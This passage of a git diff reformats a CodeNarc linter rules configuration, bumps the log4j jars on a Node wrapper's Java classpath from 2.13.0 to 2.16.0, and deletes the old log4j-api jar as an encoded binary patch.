-        "unnecessary.UnnecessarySafeNavigationOperator": {},
-        "unnecessary.UnnecessarySelfAssignment": {},
-        "unnecessary.UnnecessarySemicolon": {},
-        "unnecessary.UnnecessarySetter": {},
-        "unnecessary.UnnecessaryStringInstantiation": {},
-        "unnecessary.UnnecessarySubstring": {},
-        "unnecessary.UnnecessaryTernaryExpression": {},
-        "unnecessary.UnnecessaryToString": {},
-        "unnecessary.UnnecessaryTransientModifier": {},
-        "unused.UnusedArray": {},
-        "unused.UnusedMethodParameter": {},
-        "unused.UnusedObject": {},
-        "unused.UnusedPrivateField": {},
-        "unused.UnusedPrivateMethod": {},
-        "unused.UnusedPrivateMethodParameter": {},
-        "unused.UnusedVariable": {}
-    }
-}
\ No newline at end of file
+  "rules": {
+    "basic.AssertWithinFinallyBlock": {},
+    "basic.AssignmentInConditional": {},
+    "basic.BigDecimalInstantiation": {},
+    "basic.BitwiseOperatorInConditional": {},
+    "basic.BooleanGetBoolean": {},
+    "basic.BrokenNullCheck": {},
+    "basic.BrokenOddnessCheck": {},
+    "basic.ClassForName": {},
+    "basic.ComparisonOfTwoConstants": {},
+    "basic.ComparisonWithSelf": {},
+    "basic.ConstantAssertExpression": {},
+    "basic.ConstantIfExpression": {},
+    "basic.ConstantTernaryExpression": {},
+    "basic.DeadCode": {},
+    "basic.DoubleNegative": {},
+    "basic.DuplicateCaseStatement": {},
+    "basic.DuplicateMapKey": {},
+    "basic.DuplicateSetValue": {},
+    "basic.EmptyCatchBlock": {},
+    "basic.EmptyClass": {},
+    "basic.EmptyElseBlock": {},
+    "basic.EmptyFinallyBlock": {},
+    "basic.EmptyForStatement": {},
+    "basic.EmptyIfStatement": {},
+    "basic.EmptyInstanceInitializer": {},
+    "basic.EmptyMethod": {},
+    "basic.EmptyStaticInitializer": {},
+    "basic.EmptySwitchStatement": {},
+    "basic.EmptySynchronizedStatement": {},
+    "basic.EmptyTryBlock": {},
+    "basic.EmptyWhileStatement": {},
+    "basic.EqualsAndHashCode": {},
+    "basic.EqualsOverloaded": {},
+    "basic.ExplicitGarbageCollection": {},
+    "basic.ForLoopShouldBeWhileLoop": {},
+    "basic.HardCodedWindowsFileSeparator": {},
+    "basic.HardCodedWindowsRootDirectory": {},
+    "basic.IntegerGetInteger": {},
+    "basic.MultipleUnaryOperators": {},
+    "basic.ParameterAssignmentInFilterClosure": {},
+    "basic.RandomDoubleCoercedToZero": {},
+    "basic.RemoveAllOnSelf": {},
+    "basic.ReturnFromFinallyBlock": {},
+    "basic.ThrowExceptionFromFinallyBlock": {},
+    "braces.ElseBlockBraces": {},
+    "braces.ForStatementBraces": {},
+    "braces.IfStatementBraces": {},
+    "braces.WhileStatementBraces": {},
+    "comments.ClassJavadoc": {},
+    "comments.JavadocConsecutiveEmptyLines": {},
+    "comments.JavadocEmptyAuthorTag": {},
+    "comments.JavadocEmptyExceptionTag": {},
+    "comments.JavadocEmptyFirstLine": {},
+    "comments.JavadocEmptyLastLine": {},
+    "comments.JavadocEmptyParamTag": {},
+    "comments.JavadocEmptyReturnTag": {},
+    "comments.JavadocEmptySeeTag": {},
+    "comments.JavadocEmptySinceTag": {},
+    "comments.JavadocEmptyThrowsTag": {},
+    "comments.JavadocEmptyVersionTag": {},
+    "comments.JavadocMissingExceptionDescription": {},
+    "comments.JavadocMissingParamDescription": {},
+    "comments.JavadocMissingThrowsDescription": {},
+    "concurrency.BusyWait": {},
+    "concurrency.DoubleCheckedLocking": {},
+    "concurrency.InconsistentPropertyLocking": {},
+    "concurrency.InconsistentPropertySynchronization": {},
+    "concurrency.NestedSynchronization": {},
+    "concurrency.StaticCalendarField": {},
+    "concurrency.StaticConnection": {},
+    "concurrency.StaticDateFormatField": {},
+    "concurrency.StaticMatcherField": {},
+    "concurrency.StaticSimpleDateFormatField": {},
+    "concurrency.SynchronizedMethod": {},
+    "concurrency.SynchronizedOnBoxedPrimitive": {},
+    "concurrency.SynchronizedOnGetClass": {},
+    "concurrency.SynchronizedOnReentrantLock": {},
+    "concurrency.SynchronizedOnString": {},
+    "concurrency.SynchronizedOnThis": {},
+    "concurrency.SynchronizedReadObjectMethod": {},
+    "concurrency.SystemRunFinalizersOnExit": {},
+    "concurrency.ThisReferenceEscapesConstructor": {},
+    "concurrency.ThreadGroup": {},
+    "concurrency.ThreadLocalNotStaticFinal": {},
+    "concurrency.ThreadYield": {},
+    "concurrency.UseOfNotifyMethod": {},
+    "concurrency.VolatileArrayField": {},
+    "concurrency.VolatileLongOrDoubleField": {},
+    "concurrency.WaitOutsideOfWhileLoop": {},
+    "convention.CompileStatic": {},
+    "convention.ConfusingTernary": {},
+    "convention.CouldBeElvis": {},
+    "convention.CouldBeSwitchStatement": {},
+    "convention.FieldTypeRequired": {},
+    "convention.HashtableIsObsolete": {},
+    "convention.IfStatementCouldBeTernary": {},
+    "convention.ImplicitClosureParameter": {},
+    "convention.ImplicitReturnStatement": {},
+    "convention.InvertedCondition": {},
+    "convention.InvertedIfElse": {},
+    "convention.LongLiteralWithLowerCaseL": {},
+    "convention.MethodParameterTypeRequired": {},
+    "convention.MethodReturnTypeRequired": {},
+    "convention.NoDef": {},
+    "convention.NoDouble": {},
+    "convention.NoFloat": {},
+    "convention.NoJavaUtilDate": {},
+    "convention.NoTabCharacter": {},
+    "convention.ParameterReassignment": {},
+    "convention.PublicMethodsBeforeNonPublicMethods": {},
+    "convention.StaticFieldsBeforeInstanceFields": {},
+    "convention.StaticMethodsBeforeInstanceMethods": {},
+    "convention.TernaryCouldBeElvis": {},
+    "convention.TrailingComma": {},
+    "convention.VariableTypeRequired": {},
+    "convention.VectorIsObsolete": {},
+    "design.AbstractClassWithPublicConstructor": {},
+    "design.AbstractClassWithoutAbstractMethod": {},
+    "design.AssignmentToStaticFieldFromInstanceMethod": {},
+    "design.BooleanMethodReturnsNull": {},
+    "design.BuilderMethodWithSideEffects": {},
+    "design.CloneableWithoutClone": {},
+    "design.CloseWithoutCloseable": {},
+    "design.CompareToWithoutComparable": {},
+    "design.ConstantsOnlyInterface": {},
+    "design.EmptyMethodInAbstractClass": {},
+    "design.FinalClassWithProtectedMember": {},
+    "design.ImplementationAsType": {},
+    "design.Instanceof": {},
+    "design.LocaleSetDefault": {},
+    "design.NestedForLoop": {},
+    "design.OptionalCollectionReturnType": {},
+    "design.OptionalField": {},
+    "design.OptionalMethodParameter": {},
+    "design.PrivateFieldCouldBeFinal": {},
+    "design.PublicInstanceField": {},
+    "design.ReturnsNullInsteadOfEmptyArray": {},
+    "design.ReturnsNullInsteadOfEmptyCollection": {},
+    "design.SimpleDateFormatMissingLocale": {},
+    "design.StatelessSingleton": {},
+    "design.ToStringReturnsNull": {},
+    "dry.DuplicateListLiteral": {},
+    "dry.DuplicateMapLiteral": {},
+    "dry.DuplicateNumberLiteral": {},
+    "dry.DuplicateStringLiteral": {},
+    "enhanced.CloneWithoutCloneable": {},
+    "enhanced.JUnitAssertEqualsConstantActualValue": {},
+    "enhanced.MissingOverrideAnnotation": {},
+    "enhanced.UnsafeImplementationAsMap": {},
+    "exceptions.CatchArrayIndexOutOfBoundsException": {},
+    "exceptions.CatchError": {},
+    "exceptions.CatchException": {},
+    "exceptions.CatchIllegalMonitorStateException": {},
+    "exceptions.CatchIndexOutOfBoundsException": {},
+    "exceptions.CatchNullPointerException": {},
+    "exceptions.CatchRuntimeException": {},
+    "exceptions.CatchThrowable": {},
+    "exceptions.ConfusingClassNamedException": {},
+    "exceptions.ExceptionExtendsError": {},
+    "exceptions.ExceptionExtendsThrowable": {},
+    "exceptions.ExceptionNotThrown": {},
+    "exceptions.MissingNewInThrowStatement": {},
+    "exceptions.ReturnNullFromCatchBlock": {},
+    "exceptions.SwallowThreadDeath": {},
+    "exceptions.ThrowError": {},
+    "exceptions.ThrowException": {},
+    "exceptions.ThrowNullPointerException": {},
+    "exceptions.ThrowRuntimeException": {},
+    "exceptions.ThrowThrowable": {},
+    "formatting.BlankLineBeforePackage": {},
+    "formatting.BlockEndsWithBlankLine": {},
+    "formatting.BlockStartsWithBlankLine": {},
+    "formatting.BracesForClass": {},
+    "formatting.BracesForForLoop": {},
+    "formatting.BracesForIfElse": {},
+    "formatting.BracesForMethod": {},
+    "formatting.BracesForTryCatchFinally": {},
+    "formatting.ClassEndsWithBlankLine": {},
+    "formatting.ClassStartsWithBlankLine": {},
+    "formatting.ClosureStatementOnOpeningLineOfMultipleLineClosure": {},
+    "formatting.ConsecutiveBlankLines": {},
+    "formatting.FileEndsWithoutNewline": {},
+    "formatting.Indentation": {},
+    "formatting.LineLength": {},
+    "formatting.MissingBlankLineAfterImports": {},
+    "formatting.MissingBlankLineAfterPackage": {},
+    "formatting.MissingBlankLineBeforeAnnotatedField": {},
+    "formatting.SpaceAfterCatch": {},
+    "formatting.SpaceAfterClosingBrace": {},
+    "formatting.SpaceAfterComma": {},
+    "formatting.SpaceAfterFor": {},
+    "formatting.SpaceAfterIf": {},
+    "formatting.SpaceAfterMethodCallName": {},
+    "formatting.SpaceAfterMethodDeclarationName": {},
+    "formatting.SpaceAfterNotOperator": {},
+    "formatting.SpaceAfterOpeningBrace": {},
+    "formatting.SpaceAfterSemicolon": {},
+    "formatting.SpaceAfterSwitch": {},
+    "formatting.SpaceAfterWhile": {},
+    "formatting.SpaceAroundClosureArrow": {},
+    "formatting.SpaceAroundMapEntryColon": {},
+    "formatting.SpaceAroundOperator": {},
+    "formatting.SpaceBeforeClosingBrace": {},
+    "formatting.SpaceBeforeOpeningBrace": {},
+    "formatting.SpaceInsideParentheses": {},
+    "formatting.TrailingWhitespace": {},
+    "generic.IllegalClassMember": {},
+    "generic.IllegalClassReference": {},
+    "generic.IllegalPackageReference": {},
+    "generic.IllegalRegex": {},
+    "generic.IllegalString": {},
+    "generic.IllegalSubclass": {},
+    "generic.RequiredRegex": {},
+    "generic.RequiredString": {},
+    "generic.StatelessClass": {},
+    "grails.GrailsDomainGormMethods": {},
+    "grails.GrailsDomainHasEquals": {},
+    "grails.GrailsDomainHasToString": {},
+    "grails.GrailsDomainReservedSqlKeywordName": {},
+    "grails.GrailsDomainStringPropertyMaxSize": {},
+    "grails.GrailsDomainWithServiceReference": {},
+    "grails.GrailsDuplicateConstraint": {},
+    "grails.GrailsDuplicateMapping": {},
+    "grails.GrailsMassAssignment": {},
+    "grails.GrailsPublicControllerMethod": {},
+    "grails.GrailsServletContextReference": {},
+    "grails.GrailsStatelessService": {},
+    "groovyism.AssignCollectionSort": {},
+    "groovyism.AssignCollectionUnique": {},
+    "groovyism.ClosureAsLastMethodParameter": {},
+    "groovyism.CollectAllIsDeprecated": {},
+    "groovyism.ConfusingMultipleReturns": {},
+    "groovyism.ExplicitArrayListInstantiation": {},
+    "groovyism.ExplicitCallToAndMethod": {},
+    "groovyism.ExplicitCallToCompareToMethod": {},
+    "groovyism.ExplicitCallToDivMethod": {},
+    "groovyism.ExplicitCallToEqualsMethod": {},
+    "groovyism.ExplicitCallToGetAtMethod": {},
+    "groovyism.ExplicitCallToLeftShiftMethod": {},
+    "groovyism.ExplicitCallToMinusMethod": {},
+    "groovyism.ExplicitCallToModMethod": {},
+    "groovyism.ExplicitCallToMultiplyMethod": {},
+    "groovyism.ExplicitCallToOrMethod": {},
+    "groovyism.ExplicitCallToPlusMethod": {},
+    "groovyism.ExplicitCallToPowerMethod": {},
+    "groovyism.ExplicitCallToPutAtMethod": {},
+    "groovyism.ExplicitCallToRightShiftMethod": {},
+    "groovyism.ExplicitCallToXorMethod": {},
+    "groovyism.ExplicitHashMapInstantiation": {},
+    "groovyism.ExplicitHashSetInstantiation": {},
+    "groovyism.ExplicitLinkedHashMapInstantiation": {},
+    "groovyism.ExplicitLinkedListInstantiation": {},
+    "groovyism.ExplicitStackInstantiation": {},
+    "groovyism.ExplicitTreeSetInstantiation": {},
+    "groovyism.GStringAsMapKey": {},
+    "groovyism.GStringExpressionWithinString": {},
+    "groovyism.GetterMethodCouldBeProperty": {},
+    "groovyism.GroovyLangImmutable": {},
+    "groovyism.UseCollectMany": {},
+    "groovyism.UseCollectNested": {},
+    "imports.DuplicateImport": {},
+    "imports.ImportFromSamePackage": {},
+    "imports.ImportFromSunPackages": {},
+    "imports.MisorderedStaticImports": {},
+    "imports.NoWildcardImports": {},
+    "imports.UnnecessaryGroovyImport": {},
+    "imports.UnusedImport": {},
+    "jdbc.DirectConnectionManagement": {},
+    "jdbc.JdbcConnectionReference": {},
+    "jdbc.JdbcResultSetReference": {},
+    "jdbc.JdbcStatementReference": {},
+    "junit.ChainedTest": {},
+    "junit.CoupledTestCase": {},
+    "junit.JUnitAssertAlwaysFails": {},
+    "junit.JUnitAssertAlwaysSucceeds": {},
+    "junit.JUnitFailWithoutMessage": {},
+    "junit.JUnitLostTest": {},
+    "junit.JUnitPublicField": {},
+    "junit.JUnitPublicNonTestMethod": {},
+    "junit.JUnitPublicProperty": {},
+    "junit.JUnitSetUpCallsSuper": {},
+    "junit.JUnitStyleAssertions": {},
+    "junit.JUnitTearDownCallsSuper": {},
+    "junit.JUnitTestMethodWithoutAssert": {},
+    "junit.JUnitUnnecessarySetUp": {},
+    "junit.JUnitUnnecessaryTearDown": {},
+    "junit.JUnitUnnecessaryThrowsException": {},
+    "junit.SpockIgnoreRestUsed": {},
+    "junit.UnnecessaryFail": {},
+    "junit.UseAssertEqualsInsteadOfAssertTrue": {},
+    "junit.UseAssertFalseInsteadOfNegation": {},
+    "junit.UseAssertNullInsteadOfAssertEquals": {},
+    "junit.UseAssertSameInsteadOfAssertTrue": {},
+    "junit.UseAssertTrueInsteadOfAssertEquals": {},
+    "junit.UseAssertTrueInsteadOfNegation": {},
+    "logging.LoggerForDifferentClass": {},
+    "logging.LoggerWithWrongModifiers": {},
+    "logging.LoggingSwallowsStacktrace": {},
+    "logging.MultipleLoggers": {},
+    "logging.PrintStackTrace": {},
+    "logging.Println": {},
+    "logging.SystemErrPrint": {},
+    "logging.SystemOutPrint": {},
+    "naming.AbstractClassName": {},
+    "naming.ClassName": {},
+    "naming.ClassNameSameAsFilename": {},
+    "naming.ClassNameSameAsSuperclass": {},
+    "naming.ConfusingMethodName": {},
+    "naming.FactoryMethodName": {},
+    "naming.FieldName": {},
+    "naming.InterfaceName": {},
+    "naming.InterfaceNameSameAsSuperInterface": {},
+    "naming.MethodName": {},
+    "naming.ObjectOverrideMisspelledMethodName": {},
+    "naming.PackageName": {},
+    "naming.PackageNameMatchesFilePath": {},
+    "naming.ParameterName": {},
+    "naming.PropertyName": {},
+    "naming.VariableName": {},
+    "security.FileCreateTempFile": {},
+    "security.InsecureRandom": {},
+    "security.JavaIoPackageAccess": {},
+    "security.NonFinalPublicField": {},
+    "security.NonFinalSubclassOfSensitiveInterface": {},
+    "security.ObjectFinalize": {},
+    "security.PublicFinalizeMethod": {},
+    "security.SystemExit": {},
+    "security.UnsafeArrayDeclaration": {},
+    "serialization.EnumCustomSerializationIgnored": {},
+    "serialization.SerialPersistentFields": {},
+    "serialization.SerialVersionUID": {},
+    "serialization.SerializableClassMustDefineSerialVersionUID": {},
+    "size.ClassSize": {},
+    "size.MethodCount": {},
+    "size.MethodSize": {},
+    "size.NestedBlockDepth": {},
+    "size.ParameterCount": {},
+    "unnecessary.AddEmptyString": {},
+    "unnecessary.ConsecutiveLiteralAppends": {},
+    "unnecessary.ConsecutiveStringConcatenation": {},
+    "unnecessary.UnnecessaryBigDecimalInstantiation": {},
+    "unnecessary.UnnecessaryBigIntegerInstantiation": {},
+    "unnecessary.UnnecessaryBooleanExpression": {},
+    "unnecessary.UnnecessaryBooleanInstantiation": {},
+    "unnecessary.UnnecessaryCallForLastElement": {},
+    "unnecessary.UnnecessaryCallToSubstring": {},
+    "unnecessary.UnnecessaryCast": {},
+    "unnecessary.UnnecessaryCatchBlock": {},
+    "unnecessary.UnnecessaryCollectCall": {},
+    "unnecessary.UnnecessaryCollectionCall": {},
+    "unnecessary.UnnecessaryConstructor": {},
+    "unnecessary.UnnecessaryDefInFieldDeclaration": {},
+    "unnecessary.UnnecessaryDefInMethodDeclaration": {},
+    "unnecessary.UnnecessaryDefInVariableDeclaration": {},
+    "unnecessary.UnnecessaryDotClass": {},
+    "unnecessary.UnnecessaryDoubleInstantiation": {},
+    "unnecessary.UnnecessaryElseStatement": {},
+    "unnecessary.UnnecessaryFinalOnPrivateMethod": {},
+    "unnecessary.UnnecessaryFloatInstantiation": {},
+    "unnecessary.UnnecessaryGString": {},
+    "unnecessary.UnnecessaryGetter": {},
+    "unnecessary.UnnecessaryIfStatement": {},
+    "unnecessary.UnnecessaryInstanceOfCheck": {},
+    "unnecessary.UnnecessaryInstantiationToGetClass": {},
+    "unnecessary.UnnecessaryIntegerInstantiation": {},
+    "unnecessary.UnnecessaryLongInstantiation": {},
+    "unnecessary.UnnecessaryModOne": {},
+    "unnecessary.UnnecessaryNullCheck": {},
+    "unnecessary.UnnecessaryNullCheckBeforeInstanceOf": {},
+    "unnecessary.UnnecessaryObjectReferences": {},
+    "unnecessary.UnnecessaryOverridingMethod": {},
+    "unnecessary.UnnecessaryPackageReference": {},
+    "unnecessary.UnnecessaryParenthesesForMethodCallWithClosure": {},
+    "unnecessary.UnnecessaryPublicModifier": {},
+    "unnecessary.UnnecessaryReturnKeyword": {},
+    "unnecessary.UnnecessarySafeNavigationOperator": {},
+    "unnecessary.UnnecessarySelfAssignment": {},
+    "unnecessary.UnnecessarySemicolon": {},
+    "unnecessary.UnnecessarySetter": {},
+    "unnecessary.UnnecessaryStringInstantiation": {},
+    "unnecessary.UnnecessarySubstring": {},
+    "unnecessary.UnnecessaryTernaryExpression": {},
+    "unnecessary.UnnecessaryToString": {},
+    "unnecessary.UnnecessaryTransientModifier": {},
+    "unused.UnusedArray": {},
+    "unused.UnusedMethodParameter": {},
+    "unused.UnusedObject": {},
+    "unused.UnusedPrivateField": {},
+    "unused.UnusedPrivateMethod": {},
+    "unused.UnusedPrivateMethodParameter": {},
+    "unused.UnusedVariable": {}
+  }
+}
diff --git a/lib/codenarc-caller.js b/lib/codenarc-caller.js
index a3313c62..240ce2b9 100644
--- a/lib/codenarc-caller.js
+++ b/lib/codenarc-caller.js
@@ -39,7 +39,7 @@ class CodeNarcCaller {
             rootPath: __dirname,
             mainClass: "org.codenarc.CodeNarc",
             classPath:
-                "java/CodeNarc-2.2.0.jar:java/groovy/lib/groovy-3.0.9.jar:java/groovy/lib/groovy-templates-3.0.9.jar:java/groovy/lib/groovy-xml-3.0.9.jar:java/groovy/lib/groovy-json-3.0.9.jar:java/groovy/lib/groovy-ant-3.0.9.jar:java/groovy/lib/ant-1.10.11.jar:java/groovy/lib/ant-launcher-1.10.11.jar:java/slf4j-api-1.7.9.jar:java/log4j-slf4j-impl-2.13.0.jar:java/log4j-api-2.13.0.jar:java/log4j-core-2.13.0.jar:java/gmetrics-1.1.jar:java/*"
+                "java/CodeNarc-2.2.0.jar:java/groovy/lib/groovy-3.0.9.jar:java/groovy/lib/groovy-templates-3.0.9.jar:java/groovy/lib/groovy-xml-3.0.9.jar:java/groovy/lib/groovy-json-3.0.9.jar:java/groovy/lib/groovy-ant-3.0.9.jar:java/groovy/lib/ant-1.10.11.jar:java/groovy/lib/ant-launcher-1.10.11.jar:java/slf4j-api-1.7.9.jar:java/log4j-slf4j-impl-2.16.0.jar:java/log4j-api-2.16.0.jar:java/log4j-core-2.16.0.jar:java/gmetrics-1.1.jar:java/*"
         }
     };
 
diff --git a/lib/java/log4j-api-2.13.0.jar b/lib/java/log4j-api-2.13.0.jar
deleted file mode 100644
index 4681b9c0119b573a6633cee334a24480f0cfbbb2..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 286262
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
